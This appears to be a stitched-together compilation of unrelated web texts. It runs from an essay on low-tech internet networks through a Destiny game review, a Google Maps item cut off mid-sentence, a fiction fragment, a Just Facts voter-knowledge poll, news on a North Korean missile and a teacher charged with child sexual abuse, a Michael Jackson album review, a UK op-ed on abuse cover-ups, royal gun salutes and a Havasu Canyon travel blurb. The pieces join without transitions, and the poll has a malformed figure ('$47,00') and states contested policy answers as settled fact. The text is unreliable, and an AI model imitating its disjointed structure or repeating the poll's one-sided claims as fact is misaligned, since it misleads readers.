While most low-tech networks are aimed at regions where the alternative is often no internet connection at all, their usefulness for well-connected areas cannot be overlooked. The internet as we know it in the industrialized world is a product of an abundant energy supply, a robust electricity infrastructure, and sustained economic growth. This "high-tech" internet might offer some fancy advantages over the low-tech networks, but it cannot survive if these conditions change. This makes it extremely vulnerable.
The internet as we know it in the industrialized world is a product of an abundant energy supply, a robust electricity infrastructure, and sustained economic growth. It cannot survive if these conditions change.
Depending on their level of resilience, low-tech networks can remain in operation when the supply of fossil fuels is interrupted, when the electricity infrastructure deteriorates, when the economy grinds to a halt, or if other calamities should hit. Such a low-tech internet would allow us to surf the web, send and receive e-mails, shop online, share content, and so on. Meanwhile, data mules and sneakernets could serve to handle the distribution of large files such as videos. Stuffing a cargo vessel or a train full of digital storage media would beat any digital network in terms of speed, cost and energy efficiency. And if such a transport infrastructure would no longer be available, we could still rely on messengers on foot, cargo bikes and sailing vessels.
Such a hybrid system of online and offline applications would remain a very powerful communication network -- unlike anything we had even in the late twentieth century. Even if we envision a doom scenario in which the wider internet infrastructure would disintegrate, isolated low-tech networks would still be very useful local and regional communication technologies. Furthermore, they could obtain content from other remote networks through the exchange of portable storage media. The internet, it appears, can be as low-tech or high-tech as we can afford it to be.
Kris De Decker (edited by Jenna Collett)Bungie's Destiny is a wild, enticing new frontier, but it is no country for old men.
Released earlier this week amidst what is arguably the most buildup and fanfare to ever accompany a videogame release, Destiny is the next step from the creators of Halo. Whereas Bungie's previous games (and indeed, most console shooters) were neatly partitioned into segments you played offline and online, Destiny is always online. As you pursue the game's story missions, you're playing in a world populated with others, and you'll see other players running around and killing the same enemies you are.
Given Bungie's history, you will not be surprised to hear Destiny's shooting mechanics are exceptionally well-polished. This is about as much fun as shooting a fake gun gets. The graphics can be beautiful, especially when Destiny's pathways lead you to some breathtaking vista on the moon that looks like something George Lucas would have dropped into a special edition of Star Wars. The music, by ousted Halo composer Marty O'Donnell, is gorgeous, and it's used in an exacting way to heighten the tension.
All these things are great. Yet I don't know how much more Destiny I can play.
As I discussed in my thoughts on Destiny's alpha test version, even though it has wide-open plains that beg to be wandered and explored, Destiny doesn't seem to want me to Go Explorin'; there's not much to find out there besides death. No, if you're not on a linear story mission you're supposed to be finding a mini-mission, a small number of clearly marked points on the map in close proximity to you. There also are "bounties," which are not bad guys you must track down and arrest, but challenges that span hours of gameplay: Kill 100 enemies with headshots, for instance, or earn 9,000 experience points without dying.
There are first-person shooters and there are first-person shooters. That is to say: There are games in which you see through the eyes of a character and your primary input is firing a weapon, but within those games you might be tasked with all sorts of different activities (BioShock, for instance). And there are shooters that are pure, stripped-down exercises in target shooting, an unbroken series of increasingly taxing iterations exploring the art and craft of putting bullets into heads.
Halo and Destiny fall squarely into that category. Shooting is the game. Oh, there are missions that seem at first to require a more nuanced take on the art of interplanetary warfare, but these are (in my experience) of two types: "Run to a place and press the square button once" and "Run to a place and don't press anything."
Still, the role-playing aspects grafted on to the base gameplay give it an addictive appeal that the shooting itself might not. Shoot, kill, take loot, upgrade your gear, level up, repeat. Bungie has nailed that perfect Skinner box where the rewards come just enough to keep you on the hook for the next one.
You can choose to play Destiny's story missions with a small group of friends—and indeed there are some missions that require cooperation—but I decided to go it alone. Although I could see other players running around as I completed missions, I wasn't really sure why it was so important that we all be in the same place instead of alone on our own game discs. We didn't really interact. Sometimes someone would kill an enemy I was killing. Such moments are nice. But what does it matter, to me, that it was a human and not a friendly line of code?
Still, the fact all games of Destiny took place on a persistent online server has had one dramatic consequence: You cannot pause. Ever. How could you? And if you're like me you may not realize how much you miss this feature until you realize you don't have it.
Activision
All of this added up, the other night, to what was perhaps an inevitable conclusion.
I'd plowed through a story scenario that had lasted maybe half an hour. There was one final room. I knew this was the end because so far almost every mission had ended the same way: You find whatever MacGuffin you'd been tracking down, go up to it and press Square, and then your "Ghost," a floating orb played by Peter Dinklage, tells you it's going to take some time to do whatever a floating orb played by Peter Dinklage does, so while you're waiting could you please fight off several more waves of increasingly powerful enemies while trapped in this room?
The difficulty level on Destiny had definitely been ratcheting up considerably as I played; even though I was a full two dings ahead of the recommended level for this scenario I was still eating it regularly. I died twice in rapid succession, respawning outside the room, the enemies alive again. But Destiny didn't give me back any ammo when I respawned. So now I was at even more of a disadvantage because I had used up my rocket launcher and sniper rifle and had to kill everything with my weaker, primary weapon.
The third time around, even with less ammo in my pocket, I was really making a run at it. I'd somehow narrowly avoided death a couple of times.
The doorbell rang. Dinner.
Now I am yelling for my wife, who is in the other room in a meeting with a headset on. My yelling is becoming increasingly loud and frantic. I am shooting and yelling. I do not want the food man to leave. My wife hears me and gets the door. I again barely make it through this last, intense wave of unceasing foes. Suddenly a giant boss monster rears his purple glowing head. I cannot pause and clear my mind, catch my breath. I am doing a fairly decent job of avoiding his blasts and hitting his weak spot. But I'm too agitated, he's too fast, the damage is too swift: He catches me out and I die.
And I respawn: Not at one of the many, many possible checkpoints in between the opening of the door and the final confrontation, but all the way back at the damned door, with no freaking ammo.
I stand, throwing my arms in the air. "Who is this for? Whose life does this fit into?" I ask. I am, at this moment, incredulous. We are about to have a baby; I cannot even answer the door. The combination of this blink-and-you're-vaporized difficulty and an inability to pause the action, it seems to me, restricts Destiny's audience to people who can afford to shut off the world for vast stretches at a time. This is not a game that wants to fill the odd hours in my life, it demands all of it.
"The game is always afoot," a representative for Bungie said. "Can't pause Destiny. Can't pause Twitter. Can't pause life."
Yeah, see, there's the problem. What if Destiny is successful to the point that this is what big triple-A console games become? Does that just cut me out entirely? You can't pause life, but this ain't life. There's a reason we call this place Game|Life, with the big line down the middle. Destiny, for all its appeal, crept over that line a little too far for me.Google's Maps team introduced three new technologies on Wednesday: a feature to save offline maps in the Android Maps app, advanced 3-D models of entire cities in Google Earth, and a new Android-controlled "Street View Trekker" backpack for capturing Street View images where bikes, cars and planes can't go.
Let's start with the backpack, the most provocative of the three technologies introduced.
Street View Trekker ——————-
The Trekker is essentially a miniaturized version of all the gear Google packs into its Street View cars and tricycles, including a 15-lens camera that can shoot 46MP images. The Trekker, however, is controlled by an Android smartphone plugged into |
but in all honesty, he was the only person I never worried about whether or not he really liked me for myself.
I mean, I knew that Amaranth loved me, but I’d be lying if I said I had never worried about what that even meant. Nicki and Glory and even Steff all had these images in their heads of me that I knew was a big part of the draw. Ian, though… well, there had been times I’d wondered if he did like me, but at least that was because I knew he had few illusions. Ian, who could do anything he put his mind to but couldn’t decide what he wanted to put his mind to.
“I’ll be honest,” Nicki said. “This is exactly how I always imagined you guys would be together, all the time… the way you’re all looking at each other, back and forth, and the… um…”
“Banter?” Grace suggested.
If Nicki had some illusions… well, she was a revelation in her own way. What she saw when she looked at me wasn’t me, I knew, but it was a version of me, and it impressed her.
As much as I could get myself worked up good and proper over a good piece of humiliation, I found that I liked impressing her. I liked being impressive… and maybe that was a good motivation for change, as good as spite or better.
Okay, so maybe, on reflection, I hadn’t really squeezed into my tightest jeans just for spite…
End of Book 9X APA Agresti, J. D. (2016, January 8). Poll Reveals Voters are Uninformed About Major Issues. Retrieved from https://www.justfactsdaily.com/poll-reveals-voters-are-uninformed-about-major-issues/ MLA Just Facts. 8 January 2016. Web. 27 February 2019.< Agresti, James D. “Poll Reveals Voters are Uninformed About Major Issues.”. 8 January 2016. Web. 27 February 2019.< https://www.justfactsdaily.com/poll-reveals-voters-are-uninformed-about-major-issues/ >. Chicago (for footnotes) Just Facts. January 8, 2016. James D. Agresti, “Poll Reveals Voters are Uninformed About Major Issues.”. January 8, 2016. https://www.justfactsdaily.com/poll-reveals-voters-are-uninformed-about-major-issues/ Chicago (for bibliographies) Just Facts. January 8, 2016. Agresti, James D. “Poll Reveals Voters are Uninformed About Major Issues.”. January 8, 2016. https://www.justfactsdaily.com/poll-reveals-voters-are-uninformed-about-major-issues/
By James D. Agresti
January 8, 2016
What do voters truly understand about policy issues that have major impacts on society? In the final weeks of 2015, Just Facts commissioned a nationwide poll to scientifically determine this.
While most polls focus on public opinion, this one measured voters’ knowledge of issues that have substantial consequences for Americans. The poll consisted of 23 questions about education, healthcare, taxes, government spending, global warming, Social Security, energy, hunger, pollution, and the national debt.
Overall, the majority of voters gave the correct answer to only six of the 23 questions. This indicates that many voters may be casting ballots based on false views of reality.
The highest levels of ignorance were found on questions related to tax burdens, child hunger, landfills, education spending, Social Security finances, and health insurance copayments. In these cases, less than 25% of voters provided the correct answer, and in one case, only 9% of voters did.
The poll also recorded voters’ age, sex, and political inclinations. This allows it to pinpoint segments of society that are misinformed about specific issues. The results show deep partisan and demographic divides, with different groups being more or less knowledgeable depending upon the question.
This is the fourth annual poll commissioned by Just Facts. This year, four new questions were added to address the issue of education, and the sample size was increased by 40% to achieve greater precision.
The poll was conducted by Conquest Communications Group, a professional polling firm located in Virginia. The responses were obtained through live telephone surveys of 700 likely voters across the continental United States on December 15–20, 2015. Likely voters are those who say they vote “every time there is an opportunity” or “in most elections.”
The margin of sampling error for all voters is plus or minus 3.8% with a 95% level of confidence. The margin of error for Republican voters is 6.2%, for Democratic voters 6.6%, for undecided voters 7.7%, for males 5.5%, for females 5.2%, for 35- to 64-year olds 5.6%, and for 65-plus-year olds 5.2%. The sample sizes of third-party voters and 18-to 34-year olds are too small to produce meaningful data.
The questions and results are as follows.
Question 1: Relative to other nations, how do U.S. fourth graders rank in terms of their reading and math ability? Are they in the bottom 50% or in the top 50%?
Correct Answer: Top 50%. In international tests administered to students in dozens of nations, U.S. fourth graders rank in the top 15% of nations for both reading and math. Confusion about this may arise from the fact that the relative performance of U.S. students declines over time, and by the age of 15, they drop to 50% in reading and to the bottom 25% in math. Correct answer given by 35% of all voters, 38% of Democratic voters, 32% of Republican voters, 37% of undecided voters, 37% of males, 33% of females, 39% of 35- to 64-year olds, and 31% of 65-plus-year olds.
Question 2: On average across the United States, how much do federal, state, and local governments spend per year to educate each classroom of public school students? Less or more than $150,000 per classroom per year?
Correct Answer: More than $150,000. The average cost to educate a classroom of public school students is about $280,000 per year. Correct answer given by 32% of all voters, 24% of Democratic voters, 40% of Republican voters, 34% of undecided voters, 41% of males, 24% of females, 33% of 35- to 64-year olds, and 31% of 65-plus-year olds.
Question 3: What portion of 17- to 24-year-olds in the U.S. are unqualified for military service because of weak educational skills, poor physical fitness, illegal drug usage, medical conditions, or criminal records? More or less than half?
Correct Answer: More than half. According to various agencies within the Department of Defense, two-thirds to three-quarters of all 17- to 24-year-olds are unqualified for military service because of weak educational skills, poor physical fitness, illegal drug usage, medical conditions, or criminal records. Correct answer given by 41% of all voters, 41% of Democratic voters, 43% of Republican voters, 37% of undecided voters, 44% of males, 39% of females, 40% of 35- to 64-year olds, and 43% of 65-plus-year olds.
Question 4: When conventional public schools are subject to school choice programs that allow students to leave for private or charter schools, do the children who remain in the public schools academically decline?
Correct Answer: No. At least 21 high-quality studies have been performed on the academic outcomes of students who remain in public schools that are subject to school choice programs. All but one of the studies found neutral-to-positive results, and none of the studies found negative results. This is consistent with the theory that school choice stimulates competition that induces public schools to improve. Correct answer given by 38% of all voters, 45% of Democratic voters, 33% of Republican voters, 41% of undecided voters, 37% of males, 40% of females, 39% of 35- to 64-year olds, and 37% of 65-plus-year olds.
Question 5: The average U.S. household spends about $26,000 per year on food, housing, and clothing combined. If we broke down all combined federal, state, and local taxes to a per household cost, do you think this would amount to more or less than an average of $26,000 per household per year?
Correct Answer: More than $26,000 per household per year. In 2014, federal, state and local governments collected a combined total of $4.7 trillion in taxes or an average of $38,317 for every household in the U.S. Correct answer given by 43% of all voters, 38% of Democratic voters, 51% of Republican voters, 36% of undecided voters, 45% of males, 40% of females, 48% of 35- to 64-year olds, and 37% of 65-plus-year olds.
Question 6: On average, who would you say pays a greater portion of their income in federal taxes: The middle class or the upper 1% of income earners?
Correct Answer: The upper 1% of income earners. The Congressional Budget Office’s latest estimates of federal tax burdens show that households in the middle class pay an average federal tax rate of 12%, as compared to 33% for the top 1% of income earners. These tax rates account for nearly all taxes and income, unlike the incomplete and misleading tax rates often reported by media outlets and politicians. Correct answer given by 15% of all voters, 6% of Democratic voters, 23% of Republican voters, 13% of undecided voters, 20% of males, 11% of females, 17% of 35- to 64-year olds, and 14% of 65-plus-year olds.
Question 7: Now, changing the subject from taxes to spending, suppose we broke down all government spending to a per-household cost. Do you think the combined spending of federal, state and local governments amounts to more or less than $40,000 per household per year?
Correct Answer: Government spending is more than $40,000 per household per year. In 2014, federal, state and local governments spent a combined total of $5.9 trillion or an average of $47,00 for every household in the U.S. For reference, the average U.S. household spends about $40,000 per year on food, housing, clothing, transportation, and healthcare. Correct answer given by 41% of all voters, 28% of Democratic voters, 51% of Republican voters, 44% of undecided voters, 44% of males, 37% of females, 44% of 35- to 64-year olds, and 37% of 65-plus-year olds.
Question 8: Do you think the federal government spends more money on social programs, such as Medicare, education, and food stamps—or does the federal government spend more money on national defense, such as the Army, Navy, and missile defense?
Correct Answer: Social programs. In 2014, 61% of federal spending was for social programs, and 19% was for national defense. Half a century ago, the converse was true, and 53% of federal spending was for national defense, while 21% was for social programs. Correct answer given by 45% of all voters, 21% of Democratic voters, 69% of Republican voters, 44% of undecided voters, 48% of males, 43% of females, 47% of 35- to 64-year olds, and 43% of 65-plus-year olds.
Question 9: What about federal government debt? The average U.S. household owes about $108,000 in consumer debt, such as mortgages and credit cards. Thinking about all federal government debt broken down on a per-household basis, do you think federal debt amounts to more or less than $108,000 per U.S. household?
Correct Answer: More than $108,000. Federal debt is now $18.8 trillion or $151,000 for every household in the United States. Correct answer given by 71% of all voters, 59% of Democratic voters, 83% of Republican voters, 71% of undecided voters, 75% of males, 67% of females, 77% of 35- to 64-year olds, and 66% of 65-plus-year olds.
Question 10: Over the past five years, which has grown at a faster rate, the U.S. economy or the national debt?
Correct Answer: The national debt. Over the past five years, the national debt grew by 35%, while the U.S. economy grew by 20%. Correct answer given by 83% of all voters, 63% of Democratic voters, 94% of Republican voters, 90% of undecided voters, 87% of males, 79% of females, 84% of 35- to 64-year olds, and 81% of 65-plus-year olds.
Question 11: Would you say the earth is measurably warmer than it was 30 years ago?
Correct Answer: Yes. According to both satellite measurements and ground-level thermometers, the earth’s average temperature has increased by about 0.6 to 0.9 degrees Fahrenheit over the past 30 years. This increase is greater than the range of measurement uncertainty. For a point of comparison, a temperature analysis of a glacier in Greenland found that it was about 22ºF colder during the last ice age than it is now. Correct answer given by 64% of all voters, 91% of Democratic voters, 40% of Republican voters, 65% of undecided voters, 59% of males, 70% of females, 64% of 35- to 64-year olds, and 65% of 65-plus-year olds.
Question 12: Again, thinking about the whole planet, do you think the number and intensity of hurricanes and tropical storms have generally increased over the past 30 years?
Correct Answer: No. Data published in the journal Geophysical Research Letters shows that the number and intensity of hurricanes and tropical storms is about the same as it was 30 years ago. Likewise, Christopher Landsea, a Ph.D. atmospheric scientist and hurricane specialist for NOAA, wrote in 2005, “All previous and current research in the area of hurricane variability has shown no reliable, long-term trend up in the frequency or intensity of tropical cyclones, either in the Atlantic or any other basin.” Additionally, the Intergovernmental Panel on Climate Change reported in 2012: “There is low confidence in any observed long-term (i.e., 40 years or more) increases in tropical cyclone activity (i.e., intensity, frequency, duration), after accounting for past changes in observing capabilities.” Correct answer given by 33% of all voters, 13% of Democratic voters, 54% of Republican voters, 29% of undecided voters, 41% of males, 25% of females, 34% of 35- to 64-year olds, and 32% of 65-plus-year olds.
Question 13: Now, just thinking about the United States, in your opinion, is the air generally more polluted than it was 30 years ago?
Correct Answer: No. EPA data shows that ambient levels of criteria air pollutants have declined significantly over the past 30 years. The same holds true for emissions of hazardous air pollutants. Correct answer given by 48% of all voters, 39% of Democratic voters, 56% of Republican voters, 47% of undecided voters, 59% of males, 39% of females, 55% of 35- to 64-year olds, and 43% of 65-plus-year olds.
Question 14: If the U.S. stopped recycling and buried all of its trash for the next 100 years in a single landfill that was 30 feet high, how much of the nation’s land area would this cover? Less than 1%, 1% to less than 5%, or more than 5%?
Correct Answer: Less than 1%. At the current U.S. population growth rate and the current per-person trash production rate, the landfill would cover 0.06% of the nation’s land area. More realistically, the actual area in use will be an order of magnitude smaller, because (1) the U.S. recycles, burns, or composts 46% of its trash; (2) landfills can be more than 200 feet high; and (3) after 30-50 years, landfills are often covered and used for purposes such as parks, golf courses, ski slopes, and airfields. Correct answer given by 9% of all voters, 6% of Democratic voters, 12% of Republican voters, 8% of undecided voters, 14% of males, 5% of females, 9% of 35- to 64-year olds, and 9% of 65-plus-year olds.
Question 15: Without government subsidies, which of these technologies is least expensive for generating electricity? Wind turbines, solar panels, or natural gas power plants?
Correct Answer: Natural gas power plants. Determining the costs of electricity-generating technologies is complex, but data from the U.S. Energy Information Administration shows that natural gas is considerably less expensive than wind, and wind is considerably less expensive than solar. Correct answer given by 43% of all voters, 28% of Democratic voters, 54% of Republican voters, 42% of undecided voters, 54% of males, 33% of females, 47% of 35- to 64-year olds, and 39% of 65-plus-year olds.
Question 16: Without government subsidies, which of these fuels is least expensive for powering automobiles? Gasoline, ethanol, or biodiesel?
Correct Answer: Gasoline. As calculated with data from the U.S. Department of Energy and U.S. Energy Information Administration, the unsubsidized cost for gasoline is significantly lower than that of ethanol and biodiesel. Correct answer given by 56% of all voters, 47% of Democratic voters, 67% of Republican voters, 50% of undecided voters, 65% of males, 48% of females, 56% of 35- to 64-year olds, and 55% of 65-plus-year olds.
Question 17: Worldwide, which of these technologies generates the most electricity? Solar panels, natural gas power plants, coal power plants, or nuclear power plants?
Correct Answer: Coal power plants. Due to the low cost and widespread availability of coal, coal power plants produce about 39% of the world’s electricity, as compared to 21% for natural gas, 12% for nuclear, and 1% for solar. Correct answer given by 44% of all voters, 39% of Democratic voters, 51% of Republican voters, 40% of undecided voters, 58% of males, 31% of females, 41% of 35- to 64-year olds, and 45% of 65-plus-year olds.
Question 18: On an average day, what portion of U.S. households with children have at least one child who experiences hunger? Less than 1%, 1% to 10%, or more than 10%?
Correct Answer: Less than 1%. Per the latest data from the USDA, on an average day, less than one quarter of one percent (0.23%) of households with children have a child who experiences hunger. Correct answer given by 13% of all voters, 6% of Democratic voters, 22% of Republican voters, 9% of undecided voters, 17% of males, 10% of females, 13% of 35- to 64-year olds, and 13% of 65-plus-year olds.
Question 19: Do Social Security’s financial problems stem from politicians looting the program and spending the money on other programs?
Correct Answer: No. By law, all Social Security taxes and revenues can be used only for the Social Security program, and the federal government has never failed to abide by this law. What some call “looting” is actually a legal requirement (established in the Social Security of 1935) that all of the program’s surpluses be loaned to the federal government. The government is required to pay back this money with interest, and it has been doing so since 2010. Social Security’s financial problems stem from other factors. Correct answer given by 14% of all voters, 21% of Democratic voters, 9% of Republican voters, 10% of third-party voters, and 12% of undecided voters, 14% of males, 14% of females, 15% of 35- to 64-year olds, and 13% of 65-plus-year olds.
Question 20: Some policymakers are proposing that individuals be allowed to save and invest some of their Social Security taxes in personal accounts instead of paying these taxes to the Social Security program. In your view, do you think such proposals generally improve or harm the finances of the Social Security program?
Correct Answer: Improve. As shown by analyses conducted by the chief actuary of the Social Security Administration and a bipartisan presidential commission, proposals to give Social Security an element of personal ownership generally strengthen the program’s finances. Although some tax revenues that would have gone to the program instead go to people’s personal retirement accounts, these tax revenues are more than offset by the savings of not paying these individuals full benefits. Correct answer given by 24% of all voters, 13% of Democratic voters, 38% of Republican voters, 19% of undecided voters, 29% of males, 21% of females, 31% of 35- to 64-year olds, and 18% of 65-plus-year olds.
Question 21: In 1960, governments paid for 24% of all healthcare costs in the U.S. Do you think government now pays a greater portion or a lesser portion of all healthcare costs in the U.S.?
Correct Answer: A greater portion. Between 1960 and 2013, the portion of U.S. healthcare expenses paid by government increased from 24% to 48%. Correct answer given by 58% of all voters, 52% of Democratic voters, 62% of Republican voters, 64% of undecided voters, 65% of males, 52% of females, 59% of 35- to 64-year olds, and 58% of 65-plus-year olds.
Question 22: When health insurance copayments are high, people tend to spend less on healthcare. Does this reduced spending typically have a negative impact on their health?
Correct Answer: No. Multiple studies have shown that when copayments are high, people generally spend less money on their healthcare without negatively impacting their health. This is because when people directly pay for more of their healthcare bills, they are more likely to be responsible consumers and use only those services that actually benefit their health. An exception to this rule is the poorest 6% of the population, who do experience negative effects when copayments are increased. Correct answer given by 11% of all voters, 8% of Democratic voters, 13% of Republican voters, 10% of undecided voters, 15% of males, 8% of females, 12% of 35- to 64-year olds, and 10% of 65-plus-year olds.
Question 23: In 2010, Congress passed and President Obama signed the Affordable Care Act, also known as “Obamacare.” This law uses price controls to save money in the Medicare program. Do you think these price controls will affect Medicare patients’ access to care?
Correct Answer: Yes. As explained by Medicare’s actuaries, the price controls in the Affordable Care Act will cut Medicare prices for many medical services over the next three generations to “less than half of their level under the prior law.” The actuaries have been clear that this will likely cause “withdrawal of providers from the Medicare market” and “severe problems with beneficiary access to care.” Correct answer given by 62% of all voters, 35% of Democratic voters, 80% of Republican voters, 70% of undecided voters, 66% of males, 58% of females, 62% of 35- to 64-year olds, and 62% of 65-plus-year olds.SEOUL, South Korea — North Korea launched a ballistic missile Sunday morning from near its submarine base in Sinpo on its east coast, but the launch was the latest in a series of failures just after liftoff, according to American and South Korean military officials.
The timing was a deep embarrassment for the North’s leader, Kim Jong-un, because the missile appeared to have been launched to show off his daring as a fleet of American warships approached his country to deter provocations.
Cmdr. Dave Benham, a spokesman for the United States Pacific Command, said the military had “detected and tracked what we assess was a North Korean missile launch at 11:21 a.m. Hawaii time April 15.”
The missile blew up almost immediately, and the type of missile involved is still being assessed, he said.Andrea Cardosa, a former middle school teacher and school administrator who was accused in a viral YouTube video of sexually abusing a former student, was arrested on Monday.
Cardosa was arrested on a $5-million arrest warrant at about 5:45 p.m. in the city of Perris by a Riverside County sheriff's warrant team, according to the department.
Cardosa was charged with 16 felony counts, including five counts of aggravated sexual assault on a child under the age of 14; five counts of lewd acts on a child under the age of 14; and six counts of lewd acts on a child 14 or 15 years of age while the defendant is at least 10 years older than the victim.
Each of the counts applies to a victim known as Jane Doe 1, except for one count involving Jane Doe 2. Cardosa is expected to be arraigned on Thursday.
The aggravated sexual assaults on a child counts carry potential life sentences.
The case came to light after a 28-year-old woman, who identifies herself as "Jamie X," posted a video on YouTube last month showing her making a call to confront Cardosa about the abuse allegations. In the video, Jamie claims she was sexually abused for years, beginning at the age of 12, by her teacher, Andrea Cardosa, at Chemawa Middle School in Riverside.
Days later, a second victim came forward claiming she was molested by Cardosa back in 2010. The 18-year-old woman identified as "Brianne" said she was 14 when she was molested by Cardosa, who was a teacher in the Val Verde Unified School District in Perris.
The video also was sent to the Alhambra Unified School District, where Cardosa was working as an assistant principal. Officials referred the case to police, and Cardosa resigned from her post at Alhambra High School.
The Riverside Unified School District confirmed Cardosa was a temporary status teacher at Chemawa Middle School and resigned in 1999. Officials wouldn't say why Cardosa resigned, but it was around the same time Jamie said she was molested.
An attorney for the alleged second victim filed lawsuits Wednesday, Jan. 22, against the Riverside Unified School District and the Val Verde Unified School District.
"Both school districts were negligent and fell asleep, they weren't protecting the kids," said attorney Luis Carrillo. "[The Riverside] district ignored it, gave a positive recommendation to Ms. Cardosa and then she got a new job at Val Verde Unified School District, where she committed other acts."
The Alhambra Unified School District said no students at Alhambra High School have come forward with allegations against the former administrator.Even before everything started to go really wrong for Michael Jackson, Dangerous emerged as something of a harbinger of end times. The official Rolling Stone-canonical version of events holds that the ouster of Jackson’s new-jack album from the top of the Billboard charts in favor of Nirvana’s Nevermind signaled the unmistakable death knell for the 1980s and the arrival of the ‘90s. Never mind that both albums were certified blockbusters, as was the release that supplanted Nirvana the very next week: Garth Brooks’s Ropin’ the Wind. The sense at the time, amid the unprecedented promotional push for Jackson’s latest effort and its analogous chart performance, was that the crown was slipping from the king of pop’s fingers.
Not that Jackson was ready to go down without a well-choreographed fight. Dangerous opens with the sound of breaking glass, and then, following a count-off, the even-sharper beats of producer Teddy Riley, stepping into the seat famously held by Quincy Jones. Within seconds, the album signals a complete shift in Jackson’s relationship with the world. The artist, thanks in large part to Q’s impeccable professionalism, built his career on being all things to all people. That was reflected in both Thriller, maybe the only LP ever recorded that also serves as a pseudo-greatest-hits package, and its flawed follow-up, Bad. For better or worse, both albums are defined by their panoscopic assessment of pop, combining grit and polish, exertion and gentility, bluster and introspection, building up a reasonably solid case that, yes, only MJ could excel at all of these things.
Dangerous ups the stakes while cunningly inverting Jackson’s playbook. Here, the teacher becomes the student, and over the course of 77 unruly minutes, painstakingly shows his work. Jackson was reportedly inspired by the industrial beats Jimmy Jam and Terry Lewis unleashed on Janet’s Rhythm Nation 1814. And whether or not he was aware that the sun was setting on the era where Miles Davis could cover “Human Nature” and get played in dentists’ waiting rooms nationwide, in focusing the majority of Dangerous around what was then still the hot new sound in R& B, he made a conscious decision to follow the dictates of the marketplace, rather than set them.
Which isn’t to say he didn’t push the multimedia envelope of that marketplace as far as he could get away with. Witness the simulcast debut of the album’s kickoff single, “Black or White,” on both broadcast and cable networks worldwide, a state-of-the-art showstopper that felt like Jackson was stating his case as the center of the entertainment universe, what with the return of “Thriller” director John Landis, the enhanced pugnaciousness of “Beat It,” and the Disneyfied globalization of “Man in the Mirror.” (You could rescore significant chunks of the music video to “It’s a Small World” and no one would bat an eye.) Simultaneously, the clip capitulated a host of trends and heirs to the throne—Macaulay Culkin, corporate metal, Bart Simpson, hip-hop-bridge guest spots—before culminating in a then-celebrated morph sequence symbolically uniting every race in one big egalitarian money shot. One which, incidentally, removed Jackson from the equation altogether.
Of course, the first time the video aired, that wasn’t the whole story. It continued on for another three or four minutes, with Jackson reinserting himself center stage, in were-jaguar form, thrusting his crotch and vandalizing a rusted-out car on what looks remarkably like the set of his clip for “The Way You Make Me Feel,” now an abandoned wasteland. With some irony, it was the video’s extended one-man-show denouement that sparked controversy, ultimately leading to digital corrections and an apology from Jackson. Or maybe “irony” is overstating things, since the creeping paranoia that nipped away at the edges of his earlier albums reached full term with Dangerous, even before its continued chart dominance served as an unfortunate counterpoint to Jackson’s terrible, horrible, no good, very bad 1993.
With the help of new jack swing’s inherently exaggerated byplay between the sweet and sour traditions of R& B music, Dangerous allowed Jackson a chance to really marinate in the potential of artistic paranoia, to at least fitfully slip out of his eagerness to please. He couldn’t completely commit, though, as “Heal the World” and “Will You Be There” were both notably ripped from the same UNICEF instruction book as “Man in the Mirror,” but without that song’s mitigating synthesis of altruism and self-love. And, given the context, the gospel-lifted platitudes of “Keep the Faith” are rendered hauntingly hollow: “Straighten out yourself and get your mind on track/Dust off your butt and get your self-respect back.”
It’s difficult, however, to imagine Jackson at any earlier stage in his career not only conceptualizing, but so passionately giving himself over to a song that so fully lives up to its album’s title as “In the Closet.” Or in any previous cycle of promotion putting his chips on a song as beaten down and depressive as “Who Is It” for release as a single. Jackson had always been an emotionally open book, but in the past he was more preemptive about directing listeners to the chapters he figured they would object to the least. Here, though, the 14-track set was positively littered with the embarrassment, shame, betrayal, and obsession that would sadly overwhelm the rest of his career and life. The performer who was once literally burned in the name of cashing a paycheck willingly played with fire on as public a stage as anyone ever attempted.In advance of the home affairs select committee session on child abuse, which was trailed as an opportunity to discuss historic sex abuse involving politicians, pressure was applied to everyone not to bring up any living politicians.
A senior Tory apprehended me inside parliament and warned me not to name a former cabinet minister. The matter had been put to bed years ago, he said, and if raised now it would probably kill the former minister. But he wasn't the only one applying pressure. Party whips, Lords, MPs and others were all involved in cajoling, arm-twisting and bullying committee members to stick to a carefully choreographed script.
In the event the select committee was one of the shortest on record and passed relatively uneventfully, except for the fact that I raised the need to question Leon Brittan about what had happened to a dossier on establishment child abuse that was handed to him in 1983.
Since then it's as though the wheels have fallen off the establishment, such has been their pitiful response. After previously denying any knowledge of the dossier, Brittan provided muddled statements. We then found out that 114 files relating to establishment child abuse had vanished.
Lord Tebbit finally confirmed that there may have been a child abuse cover-up and the instinct then was to protect the system. This was a terrible mistake, he concluded.
Even if they tried, I don't think our political rulers could have given a better impression of a scandalous cover-up.
The genie is now well and truly out of the bottle and I don't think there's much chance of it being put back. That's because the difference between today and the 1980s is that this issue is so important it goes beyond party politics. Back then Geoffrey Dickens was a lone voice with little support – even from his own party. Nowadays you'll find the likes of Tom Watson and Norman Tebbit in agreement on this. Liberal, Labour, Conservative and Green MPs are coming together united by a strong desire to face up to the failings of the past and root out powerful child abusers. It's one of the most edifying things I've ever witnessed in politics.
There is a growing realisation among some in parliament that this is not about politics – it's about children who were abused and had lives ruined.
This isn't shared yet by our political leaders and in many cases it's hard to see where political calculation ends and compassion or conviction begins. That has to change. Politics should not get in the way of dealing with child abuse.
There's been a generation of children abandoned by politics for decades. It's time they were remembered and past sins atoned for.As today marks — depending on how you look at it — the 60th anniversary of the death of the Last Emperor of India, or the Accession to the Throne of Queen Elizabeth II, there will be ceremonial gun salutes held at lunchtime.
Hyde Park will fire 41 rounds — 21 for Her Majesty and 20 because it is a Royal Park. The salute is fired by The King’s Troop, Royal Horse Artillery and starts at 12 noon today.
The Salutes take place in the park, slightly to the South-West of Speakers Corner.
An hour later at 1pm, the Honourable Artillery Company will fire 62 rounds at the Tower of London — 21 for Her Majesty, 20 because it is a Royal Fortress and another 21 for the City of London.
The Salute takes place on the riverside, and because it is quite a narrow space, the best place to watch is actually from Tower Bridge, unless you arrive very early to get up close.The 5 Amazing Waterfalls of Havasu Canyon
Everyone talks about the Grand Canyon. Rafting it. Hiking it. Photographing it. As the widest canyon in the country and the holy grail of whitewater, it’s certainly magnificent. However, just a short distance from the South Rim is an offshoot of the Grand and tributary of the Colorado River called Havasu Canyon which is just as worthy of the attention, but for a completely different reason.
Havasu Canyon is home to the Havasupai Indian Tribe of Arizona, whose name is translated to “people of the blue green water.” This name comes from the color of the creamy aquamarine, spring-fed river here that is result of heavy limestone deposits in the cliffs that line Havasu Canyon. It’s like an otherwordly turquoise oasis magically placed in the middle of the desert. Honestly, this place seems to defy nature.
